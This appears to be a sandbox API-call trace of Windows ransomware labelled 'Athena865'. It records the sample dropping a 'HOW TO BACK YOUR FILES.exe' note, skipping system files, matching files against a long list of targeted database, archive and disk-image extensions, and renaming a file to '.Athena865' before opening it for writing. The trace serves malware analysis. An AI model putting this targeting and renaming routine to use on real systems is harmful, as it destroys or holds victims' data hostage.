[0116.900] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0116.900] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0116.900] lstrlenW (lpString="en-US") returned 5 [0116.900] lstrcpyW (in: lpString1=0x241e8b8, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0116.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae58 [0116.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519118 [0116.900] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0116.900] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0116.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0116.903] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0b4380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0116.903] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0116.903] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2=".") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="..") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="windows") returned -1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="bootmgr") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="temp") returned -1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="pagefile.sys") returned -1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="boot") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="ids.txt") returned 1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="ntuser.dat") returned -1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="perflogs") returned -1 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2="MSBuild") returned 1 [0116.903] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0116.903] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSCONV97.DLL" | out: lpString1="MSCONV97.DLL") returned="MSCONV97.DLL" [0116.903] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0116.903] lstrlenW (lpString="Athena865") returned 9 [0116.903] lstrcmpiW (lpString1="ONV97.DLL", lpString2="Athena865") returned 1 [0116.903] lstrlenW (lpString=".dll") returned 4 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2=".dll") returned 1 [0116.903] lstrlenW (lpString=".lnk") returned 4 [0116.903] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2=".lnk") returned 1 [0116.903] lstrlenW (lpString=".ini") returned 4 [0116.904] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2=".ini") returned 1 [0116.904] lstrlenW (lpString=".sys") returned 4 [0116.904] lstrcmpiW (lpString1="MSCONV97.DLL", lpString2=".sys") returned 1 [0116.904] lstrlenW (lpString="MSCONV97.DLL") returned 12 [0116.904] lstrlenW (lpString="bak") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0116.904] lstrlenW (lpString="ba_") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0116.904] lstrlenW (lpString="dbb") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0116.904] lstrlenW (lpString="vmdk") returned 4 [0116.904] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0116.904] lstrlenW (lpString="rar") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0116.904] lstrlenW (lpString="zip") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0116.904] lstrlenW (lpString="tgz") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0116.904] lstrlenW (lpString="vbox") returned 4 [0116.904] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0116.904] lstrlenW (lpString="vdi") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0116.904] lstrlenW (lpString="vhd") returned 3 [0116.904] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0116.904] lstrlenW (lpString="vhdx") returned 4 [0116.904] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0116.904] lstrlenW (lpString="avhd") returned 4 [0116.904] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0116.904] lstrlenW (lpString="db") returned 2 [0116.904] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0116.905] lstrlenW (lpString="db2") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0116.905] lstrlenW (lpString="db3") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0116.905] lstrlenW (lpString="dbf") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0116.905] lstrlenW (lpString="mdf") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0116.905] lstrlenW (lpString="mdb") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0116.905] lstrlenW (lpString="sql") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0116.905] lstrlenW (lpString="sqlite") returned 6 [0116.905] lstrcmpiW (lpString1="97.DLL", lpString2="sqlite") returned -1 [0116.905] lstrlenW (lpString="sqlite3") returned 7 [0116.905] lstrcmpiW (lpString1="V97.DLL", lpString2="sqlite3") returned 1 [0116.905] lstrlenW (lpString="sqlitedb") returned 8 [0116.905] lstrcmpiW (lpString1="NV97.DLL", lpString2="sqlitedb") returned -1 [0116.905] lstrlenW (lpString="xml") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0116.905] lstrlenW (lpString="$er") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0116.905] lstrlenW (lpString="4dd") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0116.905] lstrlenW (lpString="4dl") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0116.905] lstrlenW (lpString="^^^") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0116.905] lstrlenW (lpString="abs") returned 3 [0116.905] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0116.905] lstrlenW (lpString="abx") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0116.906] lstrlenW (lpString="accdb") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accdb") returned -1 [0116.906] lstrlenW (lpString="accdc") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accdc") returned -1 [0116.906] lstrlenW (lpString="accde") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accde") returned -1 [0116.906] lstrlenW (lpString="accdr") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accdr") returned -1 [0116.906] lstrlenW (lpString="accdt") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accdt") returned -1 [0116.906] lstrlenW (lpString="accdw") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accdw") returned -1 [0116.906] lstrlenW (lpString="accft") returned 5 [0116.906] lstrcmpiW (lpString1="7.DLL", lpString2="accft") returned -1 [0116.906] lstrlenW (lpString="adb") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.906] lstrlenW (lpString="adb") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.906] lstrlenW (lpString="ade") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0116.906] lstrlenW (lpString="adf") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0116.906] lstrlenW (lpString="adn") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0116.906] lstrlenW (lpString="adp") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0116.906] lstrlenW (lpString="alf") returned 3 [0116.906] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0116.906] lstrlenW (lpString="ask") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0116.907] lstrlenW (lpString="btr") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0116.907] lstrlenW (lpString="cat") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0116.907] lstrlenW (lpString="cdb") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0116.907] lstrlenW (lpString="ckp") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0116.907] lstrlenW (lpString="cma") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0116.907] lstrlenW (lpString="cpd") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0116.907] lstrlenW (lpString="dacpac") returned 6 [0116.907] lstrcmpiW (lpString1="97.DLL", lpString2="dacpac") returned -1 [0116.907] lstrlenW (lpString="dad") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0116.907] lstrlenW (lpString="dadiagrams") returned 10 [0116.907] lstrcmpiW (lpString1="CONV97.DLL", lpString2="dadiagrams") returned -1 [0116.907] lstrlenW (lpString="daschema") returned 8 [0116.907] lstrcmpiW (lpString1="NV97.DLL", lpString2="daschema") returned 1 [0116.907] lstrlenW (lpString="db-journal") returned 10 [0116.907] lstrcmpiW (lpString1="CONV97.DLL", lpString2="db-journal") returned -1 [0116.907] lstrlenW (lpString="db-shm") returned 6 [0116.907] lstrcmpiW (lpString1="97.DLL", lpString2="db-shm") returned -1 [0116.907] lstrlenW (lpString="db-wal") returned 6 [0116.907] lstrcmpiW (lpString1="97.DLL", lpString2="db-wal") returned -1 [0116.907] lstrlenW (lpString="dbc") returned 3 [0116.907] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0116.907] lstrlenW (lpString="dbs") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0116.908] lstrlenW (lpString="dbt") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0116.908] lstrlenW (lpString="dbv") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0116.908] lstrlenW (lpString="dbx") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0116.908] lstrlenW (lpString="dcb") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0116.908] lstrlenW (lpString="dct") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0116.908] lstrlenW (lpString="dcx") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0116.908] lstrlenW (lpString="ddl") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0116.908] lstrlenW (lpString="dlis") returned 4 [0116.908] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0116.908] lstrlenW (lpString="dp1") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0116.908] lstrlenW (lpString="dqy") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0116.908] lstrlenW (lpString="dsk") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0116.908] lstrlenW (lpString="dsn") returned 3 [0116.908] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0116.908] lstrlenW (lpString="dtsx") returned 4 [0116.908] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0116.909] lstrlenW (lpString="dxl") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0116.909] lstrlenW (lpString="eco") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0116.909] lstrlenW (lpString="ecx") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0116.909] lstrlenW (lpString="edb") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0116.909] lstrlenW (lpString="epim") returned 4 [0116.909] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0116.909] lstrlenW (lpString="fcd") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0116.909] lstrlenW (lpString="fdb") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0116.909] lstrlenW (lpString="fic") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0116.909] lstrlenW (lpString="flexolibrary") returned 12 [0116.909] lstrlenW (lpString="fm5") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0116.909] lstrlenW (lpString="fmp") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0116.909] lstrlenW (lpString="fmp12") returned 5 [0116.909] lstrcmpiW (lpString1="7.DLL", lpString2="fmp12") returned -1 [0116.909] lstrlenW (lpString="fmpsl") returned 5 [0116.909] lstrcmpiW (lpString1="7.DLL", lpString2="fmpsl") returned -1 [0116.909] lstrlenW (lpString="fol") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0116.909] lstrlenW (lpString="fp3") returned 3 [0116.909] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0116.910] lstrlenW (lpString="fp4") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0116.910] lstrlenW (lpString="fp5") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0116.910] lstrlenW (lpString="fp7") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0116.910] lstrlenW (lpString="fpt") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0116.910] lstrlenW (lpString="frm") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0116.910] lstrlenW (lpString="gdb") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0116.910] lstrlenW (lpString="gdb") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0116.910] lstrlenW (lpString="grdb") returned 4 [0116.910] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0116.910] lstrlenW (lpString="gwi") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0116.910] lstrlenW (lpString="hdb") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0116.910] lstrlenW (lpString="his") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0116.910] lstrlenW (lpString="ib") returned 2 [0116.910] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0116.910] lstrlenW (lpString="idb") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0116.910] lstrlenW (lpString="ihx") returned 3 [0116.910] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0116.910] lstrlenW (lpString="itdb") returned 4 [0116.911] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0116.911] lstrlenW (lpString="itw") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0116.911] lstrlenW (lpString="jet") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0116.911] lstrlenW (lpString="jtx") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0116.911] lstrlenW (lpString="kdb") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0116.911] lstrlenW (lpString="kexi") returned 4 [0116.911] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0116.911] lstrlenW (lpString="kexic") returned 5 [0116.911] lstrcmpiW (lpString1="7.DLL", lpString2="kexic") returned -1 [0116.911] lstrlenW (lpString="kexis") returned 5 [0116.911] lstrcmpiW (lpString1="7.DLL", lpString2="kexis") returned -1 [0116.911] lstrlenW (lpString="lgc") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0116.911] lstrlenW (lpString="lwx") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0116.911] lstrlenW (lpString="maf") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0116.911] lstrlenW (lpString="maq") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0116.911] lstrlenW (lpString="mar") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0116.911] lstrlenW (lpString="marshal") returned 7 [0116.911] lstrcmpiW (lpString1="V97.DLL", lpString2="marshal") returned 1 [0116.911] lstrlenW (lpString="mas") returned 3 [0116.911] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0116.911] lstrlenW (lpString="mav") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0116.912] lstrlenW (lpString="maw") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0116.912] lstrlenW (lpString="mdbhtml") returned 7 [0116.912] lstrcmpiW (lpString1="V97.DLL", lpString2="mdbhtml") returned 1 [0116.912] lstrlenW (lpString="mdn") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0116.912] lstrlenW (lpString="mdt") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0116.912] lstrlenW (lpString="mfd") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0116.912] lstrlenW (lpString="mpd") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0116.912] lstrlenW (lpString="mrg") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0116.912] lstrlenW (lpString="mud") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0116.912] lstrlenW (lpString="mwb") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0116.912] lstrlenW (lpString="myd") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0116.912] lstrlenW (lpString="ndf") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0116.912] lstrlenW (lpString="nnt") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0116.912] lstrlenW (lpString="nrmlib") returned 6 [0116.912] lstrcmpiW (lpString1="97.DLL", lpString2="nrmlib") returned -1 [0116.912] lstrlenW (lpString="ns2") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0116.912] lstrlenW (lpString="ns3") returned 3 [0116.912] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0116.913] lstrlenW (lpString="ns4") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0116.913] lstrlenW (lpString="nsf") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0116.913] lstrlenW (lpString="nv") returned 2 [0116.913] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0116.913] lstrlenW (lpString="nv2") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0116.913] lstrlenW (lpString="nwdb") returned 4 [0116.913] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0116.913] lstrlenW (lpString="nyf") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0116.913] lstrlenW (lpString="odb") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0116.913] lstrlenW (lpString="odb") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0116.913] lstrlenW (lpString="oqy") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0116.913] lstrlenW (lpString="ora") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0116.913] lstrlenW (lpString="orx") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0116.913] lstrlenW (lpString="owc") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0116.913] lstrlenW (lpString="p96") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0116.913] lstrlenW (lpString="p97") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0116.913] lstrlenW (lpString="pan") returned 3 [0116.913] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0116.913] lstrlenW (lpString="pdb") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0116.914] lstrlenW (lpString="pdm") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0116.914] lstrlenW (lpString="pnz") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0116.914] lstrlenW (lpString="qry") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0116.914] lstrlenW (lpString="qvd") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0116.914] lstrlenW (lpString="rbf") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0116.914] lstrlenW (lpString="rctd") returned 4 [0116.914] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0116.914] lstrlenW (lpString="rod") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0116.914] lstrlenW (lpString="rodx") returned 4 [0116.914] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0116.914] lstrlenW (lpString="rpd") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0116.914] lstrlenW (lpString="rsd") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0116.914] lstrlenW (lpString="sas7bdat") returned 8 [0116.914] lstrcmpiW (lpString1="NV97.DLL", lpString2="sas7bdat") returned -1 [0116.914] lstrlenW (lpString="sbf") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0116.914] lstrlenW (lpString="scx") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0116.914] lstrlenW (lpString="sdb") returned 3 [0116.914] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0116.914] lstrlenW (lpString="sdc") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0116.915] lstrlenW (lpString="sdf") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0116.915] lstrlenW (lpString="sis") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0116.915] lstrlenW (lpString="spq") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0116.915] lstrlenW (lpString="te") returned 2 [0116.915] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0116.915] lstrlenW (lpString="teacher") returned 7 [0116.915] lstrcmpiW (lpString1="V97.DLL", lpString2="teacher") returned 1 [0116.915] lstrlenW (lpString="tmd") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0116.915] lstrlenW (lpString="tps") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0116.915] lstrlenW (lpString="trc") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0116.915] lstrlenW (lpString="trc") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0116.915] lstrlenW (lpString="trm") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0116.915] lstrlenW (lpString="udb") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0116.915] lstrlenW (lpString="udl") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0116.915] lstrlenW (lpString="usr") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0116.915] lstrlenW (lpString="v12") returned 3 [0116.915] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0116.915] lstrlenW (lpString="vis") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0116.916] lstrlenW (lpString="vpd") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0116.916] lstrlenW (lpString="vvv") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0116.916] lstrlenW (lpString="wdb") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0116.916] lstrlenW (lpString="wmdb") returned 4 [0116.916] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0116.916] lstrlenW (lpString="wrk") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0116.916] lstrlenW (lpString="xdb") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0116.916] lstrlenW (lpString="xld") returned 3 [0116.916] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0116.916] lstrlenW (lpString="xmlff") returned 5 [0116.916] lstrcmpiW (lpString1="7.DLL", lpString2="xmlff") returned -1 [0116.916] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.Athena865") returned 78 [0116.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.athena865"), dwFlags=0x1) returned 1 [0116.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 